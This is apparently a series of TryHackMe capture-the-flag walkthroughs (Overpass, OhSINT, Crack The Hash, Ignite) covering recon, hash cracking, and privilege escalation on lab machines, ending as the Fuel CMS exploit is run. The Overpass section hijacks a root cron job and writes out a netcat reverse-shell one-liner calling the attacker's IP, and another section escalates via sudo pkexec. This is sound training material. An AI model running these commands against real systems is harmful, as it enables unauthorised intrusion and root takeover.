![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNk-j2QamSUcF_Kz6e%2Fimage.png?alt=media\&token=9cde5599-ab77-4c42-9d0b-62dca37ae5f8)

Nothing of interest. Lets read the other file

```
cat shado
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNkHWeU-tV27cJcLbM%2Fimage.png?alt=media\&token=6f3a4f81-27ba-4c07-9b36-a55047278318)

This looks like the password for ssh. Lets login with the username `slade` that we found a while back and the password `M3tahuman` we just found.

```
ssh slade@10.10.26.138
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNmYL0ODzeOZLpEA9I%2Fimage.png?alt=media\&token=1cc22bb4-c221-4be8-9932-61a3945aec51)

And we are logged in! We can go get the user flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNmedSW4M_in8CCvFt%2Fimage.png?alt=media\&token=5ef57468-185f-4155-ad79-9279178854bd)

Now we can answer questions 5 and 6

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNmrUpJs2lf1C6RrOZ%2Fimage.png?alt=media\&token=675a00aa-976f-4c93-921e-c177c3793be2)

## Privilege Escalation

Lets run `sudo -l` to see what we can run as other users.

```
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNn8k9pDOJoVnw9u3J%2Fimage.png?alt=media\&token=a5b8a086-5135-4d4a-b4c9-58388f907f60)

We can run `/usr/bin/pkexec` as root, lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/pkexec/#sudo)to find the command to privilege escalate to root. They command they used is&#x20;

```
sudo pkexec /bin/sh
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNnThiUdc-JTu_fGn8%2Fimage.png?alt=media\&token=b23e0162-c847-47ad-8b3a-7d39c70486d9)

We are now root, we can go to `/root` directory and read the root.txt file which is the answer to the last question of this room.


# OhSINT

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbMASPDiql4wbJTgJ5q%2F-MbNN2XbRYo3a9D6IsAv%2Fimage.png?alt=media\&token=430502f5-fa36-4bb3-85c4-7fc5ae085cfd)

Lets look at the image they gave us to download

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNN9yOUBMsMZ7A1pAM%2F-MbNNd_Ob1dw00bcqtgW%2Fimage.png?alt=media\&token=7d4109ff-c89b-4017-8f8e-d79d056c4541)

Its a WindowsXP Image. Lets use the tool called `exiftool` to find information on the image.

```
exiftool WindowsXP.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNN9yOUBMsMZ7A1pAM%2F-MbNOE1CB7mEHVJ9Ykzo%2Fimage.png?alt=media\&token=8682b741-6523-4274-bad6-bda2d5a01f49)

Looking through this, the image is copyrighted by a person called `OWoodflint`, lets search them up on Google.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNN9yOUBMsMZ7A1pAM%2F-MbNO_ommDvrdgh7PJzr%2Fimage.png?alt=media\&token=78527d59-a9c5-4723-a5ee-77ab3ed51683)

Looks like they have a blog, `twitter` account and a `gitbhub` account, lets check each one of them starting with the blog.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNN9yOUBMsMZ7A1pAM%2F-MbNOqLyYUHfCQpt37PT%2Fimage.png?alt=media\&token=5ab07df8-1d82-4b7d-b7d8-2ce4163b55cb)

Nothing of interest yet, lets check the source code. Looking through the source code, we find something interesting.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNN9yOUBMsMZ7A1pAM%2F-MbNPE9A31UesH_wDjWp%2Fimage.png?alt=media\&token=ed47178b-6fc8-427b-9f39-b905eba9e89c)

There seems to be nothing more of interest, lets go to the twitter page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNN9yOUBMsMZ7A1pAM%2F-MbNPfoLMCD063H8V0k9%2Fimage.png?alt=media\&token=9a3ec94f-f4bc-4a0e-89da-d747121bd1bd)

The profile picture is that of a cat, so we can answer the first question.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNN9yOUBMsMZ7A1pAM%2F-MbNPwHfG5zoJ-3ebrzf%2Fimage.png?alt=media\&token=6917da2e-2d79-488e-a603-3d0c7654eec5)

In one of his tweets he tweeted his BSSID for a Wifi point near where he lives. We can use wigle.com to get more information about his location.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNN9yOUBMsMZ7A1pAM%2F-MbNRSCdrIxBU6M6B15v%2Fimage.png?alt=media\&token=d020b658-3570-41e7-9c78-d88e33ece58c)

We see that the location is `London`, which is the answer to the second question.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNN9yOUBMsMZ7A1pAM%2F-MbNReUDXp7zhnV5pJnJ%2Fimage.png?alt=media\&token=e074393d-0609-4af6-9569-b89f5c30bbce)

To get the SSID , you have to keep zooming into the map.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNRfHZ3Jzj9WfSFWGZ%2F-MbNRqeQZ0NotyJPMgHN%2Fimage.png?alt=media\&token=83894424-b5ec-4dde-94db-ba6c94db8db9)

The answer is `UnileverWiFi`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNRfHZ3Jzj9WfSFWGZ%2F-MbNRzX9DdKvxdxMLL6y%2Fimage.png?alt=media\&token=8faff395-e250-480c-a1f6-08c562206431)

We can find his email on his `github` page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNRfHZ3Jzj9WfSFWGZ%2F-MbNSCZVmq2PjMt3YxtX%2Fimage.png?alt=media\&token=fd8ff501-ad3d-4b90-b44c-a0502937ac4a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNRfHZ3Jzj9WfSFWGZ%2F-MbNSJfa-PBN2emHYhxk%2Fimage.png?alt=media\&token=a74366da-cf6d-421d-acc8-d45a59782e4c)

The answer to where he was right now, or where he has gone to a holiday, we can find the answer on the blog post.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNSKiLUTTjXv35YX0h%2F-MbNSfwnYJ9Ypuv19-c5%2Fimage.png?alt=media\&token=afd0d8f1-3b1a-46eb-a5a6-b00cd99ee9e1)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNSKiLUTTjXv35YX0h%2F-MbNSkQhFLTL1gRf0svh%2Fimage.png?alt=media\&token=acf95194-20a6-4561-90cb-64fee7286b59)

For the last question which is the password, we found it in the start of the room which is `pennYDr0pper.!`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNSKiLUTTjXv35YX0h%2F-MbNT4b69EivWRb9NhBU%2Fimage.png?alt=media\&token=1a23b027-b0e0-4a89-a528-c46dd42b999b)


# Overpass

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJJvJdiThVEegFoNh2%2F-MbJKEnssg3OjSU-8jum%2Fimage.png?alt=media\&token=ebb6e6cb-3fd3-46f5-92af-c2b32804affc)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.48.148
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJKFzxr6IZSyHBZm4L%2F-MbJL-uIovZr6Co0Hjam%2Fimage.png?alt=media\&token=d70500ff-d17d-4d89-92f4-4a677cb98dcb)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.48.148
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJKFzxr6IZSyHBZm4L%2F-MbJL4lQjtVPgy9MxZpc%2Fimage.png?alt=media\&token=020a3cb0-3837-4a85-bde9-d1f817591530)

## Enumeration

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJKFzxr6IZSyHBZm4L%2F-MbJLGYKPWDDr09bRt-z%2Fimage.png?alt=media\&token=f7e407ad-18a3-46e3-b90e-e6e6c6984c78)

There is nothing of interest as of now, so lets run `gobuster`to find hidden directories.

```bash
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.48.148/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJM-vDXiHBXe3TiTp0%2Fimage.png?alt=media\&token=1646abb9-0e6e-4014-811c-02af19bedffe)

We find an `admin` page, lets visit it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJMRAzolM_FCSzivkY%2Fimage.png?alt=media\&token=a159e2b8-7f6e-4c7d-926a-f56591b19854)

Its a login page, after looking through the different files in the source code of the page, I found a interesting file called `login.js`, and the interesting part is the function called `login`

```bash
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
```

Looking at the if statement, so if we login with incorrect credentials, the response we get is I`ncorrect credentials`, but on the other hand if we get the right credentials, it sets the `SessionToken` cookie to the value `statusOrCookie` and points us to the `/admin` page.

So lets go to the Console `(Ctrl + Shift + i)` of the web page and type this in the console.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJQLEDN7SjA5w19kgc%2Fimage.png?alt=media\&token=fb8503a1-e93b-4d18-b76b-67d6c2c555d8)

Once you click enter and reload the page, you are logged in.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJQSUG77SXNe6-Qr5q%2Fimage.png?alt=media\&token=20bd28ed-295c-475d-a16a-020e83cf048f)

You are given a RSA Private key, so we can copy this, crack the password using john the ripper and then login with ssh. I copied the RSA private key and stored it in a file called id\_rsa

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJQqcBHB0WJySeF81z%2Fimage.png?alt=media\&token=d2194ee3-3c8b-42dc-b02b-a06692b5a224)

Now we need a password to login with ssh, so lets crack it with `ssh2john`.&#x20;

```bash
/usr/share/john/ssh2john.py id_rsa > id_rsa_hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJR37lljU6KPwHPjb3%2Fimage.png?alt=media\&token=3c667fc9-2663-4dae-8a81-a83ebc2a4f81)

Now lets crack the hash with `johntheripper`

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJRMjVTDrk_gL0L94R%2Fimage.png?alt=media\&token=f1c0d927-e347-4496-9d5c-03f0ad596719)

We found the password which is `james13`.

Now to login with this information we need to first give permissions to the `id_rsa` file.

```bash
chmod 600 id_rsa
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJRec-jzZBskG-1Vsh%2Fimage.png?alt=media\&token=eee136f9-8eba-4df5-8b9d-7907dba4f7fc)

And now we can use this command to login through ssh, I think the username is going to be james as the password has the word james in it.

```bash
ssh -i id_rsa james@10.10.48.148
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJRxu4F6G9eTqjhbHA%2Fimage.png?alt=media\&token=528b491a-67f8-4218-9719-4054dbd595d1)

We can now read the `user.txt`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJS8New5d7wcq4YgaF%2Fimage.png?alt=media\&token=8365f1b8-e9ee-43bc-806c-1cd352365d07)

## Privilege Escalation

We cannot run the command `sudo -l` to see what we can run as root as we don't have the password for james.

In the directory we are in, we see a file called `todo.txt` so lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJLTSDgka83TU_H-7I%2F-MbJSpv07dZNDJ3FXZzG%2Fimage.png?alt=media\&token=44b2d4ff-143d-4f8a-bc3f-4e8f42d48ba4)

From this we can say that

* There is a password somewhere in the password manager they made
* The encryption for the password is weak
* There is a automated build script running.

There is also another interesting file in this directory, which is called `.overpass`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJTLLroVixTTLMJwDH%2F-MbJTeYBRdl24tglfHVi%2Fimage.png?alt=media\&token=1fbdf794-98a0-4fc0-b754-b5d97b09cbec)

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJTLLroVixTTLMJwDH%2F-MbJTs-hgJE1lbbg63vp%2Fimage.png?alt=media\&token=8b7cce07-f434-4d88-8c94-f77fef97ff82)

Its looks like some type of code that has been modified, so lets go to [CyberChef ](https://gchq.github.io/CyberChef/)and see what it says. I went though different recipes and found the correct one which is `ROT47`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJTLLroVixTTLMJwDH%2F-MbJUBejmQ01939bcsbt%2Fimage.png?alt=media\&token=a6ea06b6-a9cb-47d0-bb94-46e4be509b70)

I looked for way to use this information to privilege escalate to root, but it did not help in any way, so we need to find another way.

Looking back at the `todo.txt` file, we saw that there was an automated build script running, lets check that.

```bash
cat /etc/crontab
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbK-PE749HjgAs-xawb%2F-MbK2DTlh5E-vg92FWoO%2Fimage.png?alt=media\&token=be84a63c-01f7-411d-9f4b-5bd9b31d5f16)

Looking at the last line, we can see that the cronjob fetches the `buildscript`file from the website and pipes it to bash. To exploit this we need to redirect the domain to our IP address. We can do that by adding our Try Hack Me IP to the `/etc/hosts` on this machine. We need to replace the IP of `overpass.thm` with our IP.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbK-PE749HjgAs-xawb%2F-MbK2v5UyoQAyGB6AX-l%2Fimage.png?alt=media\&token=7c8db268-f490-4b2b-9a48-f0deea2166ec)

&#x20;Now we need to create a similar directory structure as the one in the victim machine so that the exploit can work properly, so lets create the directory `download/src`

```bash
mkdir -p downloads/src
```

Now we should create a file called `buildscript.sh` and add a reverse shell to it as then we can get a reverse shell while is runs every few minutes because it is a cronjob.

We can find the reverse shell [here](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).&#x20;

```bash
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f' > buildscript.sh
```

And now we have to start a http server using python (make sure you are two directories behind which means that you can cd into `/downloads/src`) so that the victim machine can connect to our machine and also start a netcat listener to listen on the reverse shell.

```bash
python3 -m http.server 80
```

```bash
nc -lvnp 1234
```

After a while, the file should be downloaded

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbK47vdi30002z1bdPt%2F-MbK4zsksm_qLEB6sHxf%2Fimage.png?alt=media\&token=263d511e-0a9b-4c2b-acb6-f3310f5e710f)

And you should also get a reverse shell, and as root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbK47vdi30002z1bdPt%2F-MbK55hTpoCTD0PCz-lu%2Fimage.png?alt=media\&token=96644c1b-51b0-48cf-bbde-4198851f3c35)

Now you can read the `root.txt` file and answer the last question of this room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbK47vdi30002z1bdPt%2F-MbK5GX-kgd-TuejScDa%2Fimage.png?alt=media\&token=ce08132d-33b7-4a74-a67b-3a39f39e324b)


# Crack The Hash

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIfAQlfHug5A5RHwdQ%2F-MbJ2Rkn9XbUy96Ld2mp%2Fimage.png?alt=media\&token=78c3891e-3e8e-4e11-9662-9a216e4fb790)

## Tools

[Hash-identifier](https://tools.kali.org/password-attacks/hash-identifier)

[Crackstation](https://crackstation.net/)

## Task 1: Level 1

### Question 1

48bb6e862e54f2a795ffc4e541caed4d

I am going to use [crackstation ](https://crackstation.net/)for this question.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ31p3mEiKMVeoWsFN%2F-MbJ4vOzWirtuuNpZAQi%2Fimage.png?alt=media\&token=ea3bfcb6-45ae-4e9e-90a4-ec72a29950cd)

The answer is "easy"

### Question 2

CBFDAC6008F9CAB4083784CBD1874F76618D2A97

I am going to use crackstation again for this task.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ31p3mEiKMVeoWsFN%2F-MbJ5F8Cs0LoHsw8L-vv%2Fimage.png?alt=media\&token=591c74c1-8e21-47d7-9347-e06fa1fa92af)

The answer is "password123"

### Question 3

1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032

Going to use crackstation again.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ31p3mEiKMVeoWsFN%2F-MbJ5VM0YfQqbnNu27c0%2Fimage.png?alt=media\&token=555abc95-84c2-4b03-b36d-2a1bfd7a80a1)

The answer is "letmein"

### Question 4

$2y$12$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom

For this question crackstation won't work, so I used [Hash Analyzer](https://www.tunnelsup.com/hash-analyzer/) to identify the hash and cracked it with hashcat.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ5WL_-TPURAVeDumE%2F-MbJ6QOzbmeLr1kbiIXW%2Fimage.png?alt=media\&token=9b15cb43-c9a2-430b-bd4a-667e69da7915)

So the hash type is bcrypt, so lets crack this with hashcat. First we need to save the hash into a file (I used hash.txt as the name)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ6RcG3VYRyOWKIQdO%2F-MbJ7JsqhuyLMHL6gR7g%2Fimage.png?alt=media\&token=4731676f-7bb4-4eed-821f-6db397ad8f28)

It takes a while, the answer is "bleh"

### Question 5

279412f945939ba78ce0758d3fd83daa

I used crackstation for this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ7LE_mIb8hZV0iV6O%2F-MbJ7qxQDXYbnv3howVn%2Fimage.png?alt=media\&token=6ecf5133-413f-4a1e-88a2-29a8fcc1d19b)

The answer is "Eternity22"

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ7LE_mIb8hZV0iV6O%2F-MbJ95hmrzN9afVjYaEE%2Fimage.png?alt=media\&token=3e8980e8-4eff-428d-8ea0-9fa428a04c4b)

## Task 2: Level 2

### Question 1

F09EDCB1FCEFC6DFB23DC3505A882655FF77375ED8AA2D1C13F640FCCC2D0C85

I used crackstation for this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ7LE_mIb8hZV0iV6O%2F-MbJ8VoXUwsv2uG4uyVv%2Fimage.png?alt=media\&token=7211605e-9689-48c6-935a-17d80326523b)

The answer is "paule"

### Question 2

1DFECA0C002AE40B8619ECF94819CC1B

I used crackstation for this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ7LE_mIb8hZV0iV6O%2F-MbJ8jJ5Eb4y1d7zYLPZ%2Fimage.png?alt=media\&token=9d54b69e-334a-4e25-828e-1fbd9270e0d4)

### Question 3

Hash: $6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.

Salt: aReallyHardSalt

For this question I used hashcat, but first we need to identify what type of hash it is. For that I used hash type identifier.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ9JEa7aPTPzjicdtz%2F-MbJ9zhmYKOSsWC-c3KO%2Fimage.png?alt=media\&token=a5f4b3f9-91e9-4171-930f-176642e23ee3)

And now that we know the hash type, we can use hashcat to crack the hash.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ9JEa7aPTPzjicdtz%2F-MbJJFADqJwkrBFPw1wO%2Fimage.png?alt=media\&token=0b9b8ca2-e44f-44be-af9e-1a2826573d0b)

It takes a lot of time, the answer is "waka99"

### Question 4

e5d8870e5bdd26602cab8dbe07a942c8669e56d6

I used Hash Type Identifier to identify the hash

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ9JEa7aPTPzjicdtz%2F-MbJJbagoZ03QU001WhT%2Fimage.png?alt=media\&token=d7df1ebb-5624-4bd4-bef4-972ce9283b84)

Now I will use hashcat to crack the hash. It takes a lot of time so the answer is "481616481616"

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbJ9JEa7aPTPzjicdtz%2F-MbJJtZF3fKDkZTBuS_2%2Fimage.png?alt=media\&token=5d939cf9-c285-4ee3-bdc1-1d901ba48fc1)


# Ignite

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIRkdkXXNM6W_7MFvd%2F-MbISn_FBTbWT-NUlFHO%2Fimage.png?alt=media\&token=870a0055-b3cc-43a0-80eb-a6528e3d1617)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.108.60
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIUPCV_U0r_p9BF3At%2F-MbIUod-zh29uZMeFZZ-%2Fimage.png?alt=media\&token=90c799cb-ad0f-4e0a-a9dc-484134998d88)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sC -sV -p 80 -oN nmap 10.10.101.147
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIUPCV_U0r_p9BF3At%2F-MbIV23cLM_96sm-Tsv1%2Fimage.png?alt=media\&token=65a1d1fc-c1e7-45b2-86ae-a5e98eaca4fe)

## Enumeration

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIVQQY1hrlY39SeKFk%2Fimage.png?alt=media\&token=0f5cbc39-3fb6-4e24-9ad7-2b3d6479da52)

Its a guide on how to use Fuel CMS. In the nmap scan we saw a hidden directory called `/fuel`, lets visit that. It redirects us to this page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIVrwwFAsmuoM75AUK%2Fimage.png?alt=media\&token=2972de3a-42f2-401d-89e0-3531dec4eb33)

Its a login page. At the moment we do not have credentials, so we cannot login. Lets go to searchsploit and search for exploits on this version of fuel CMS.

```
searchsploit fuel cms 1.4
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIWLsSP1elYki-ZNNK%2Fimage.png?alt=media\&token=49fd294c-a0fa-4861-87da-270bb20317cd)

We can see that there are two Remote code execution vulnerabilities, lets use one of them to exploit this machine. Lets copy this exploit to our directory.

```
searchsploit -m linux/webapps/47138.py
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIX7k1AX4I4rjluBh1%2Fimage.png?alt=media\&token=d38a5adf-e1ab-4fdd-9451-a1285e33235a)

Looking through the exploit , we need to change the URL to the URL of the machine we are attacking.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIXV4DJiXMtxMc9ViH%2Fimage.png?alt=media\&token=e4f33820-2b69-43d1-a92a-ad6492862cdc)

After changing it, I ran the exploit.

```
python 47138.py
```

